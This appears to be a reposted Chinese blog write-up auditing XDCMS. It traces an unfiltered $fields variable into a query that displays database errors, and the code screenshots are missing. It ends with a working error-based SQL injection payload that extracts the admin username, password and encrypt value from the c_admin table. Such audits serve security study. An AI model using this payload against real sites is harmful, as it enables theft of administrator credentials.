1. 程式人生 > >【代碼審計】XDCMS 報錯註入

【代碼審計】XDCMS 報錯註入

信息 輸入 alt 變量 出現 img 語句 limit lec

  審計的都是之前很老的一些的CMS,把學習的過程分享出來,如果有正在和我一起學習的兄弟們,希望看到文章之後會有所收獲

--------------------------------------------------------------------------------------------------------------------------------------

在system/moudles/member/index.php中

技術分享

上述代碼可以看到$fields 沒有被過濾,跟蹤$fields這個變量。

在83行把重新組合的值傳入到 $field_sql中,繼續跟蹤$field_sql 這個變量

技術分享

我們跟蹤query這個函數 在system/libs/mysql.class.php中

技術分享

如果操作失敗,會出現一些錯誤信息。這裏我們輸入語句就會顯示賬號密碼

技術分享

參考EXP:

(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)
from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)) x from
information_schema.tables group by x)a)#

【代碼審計】XDCMS 報錯註入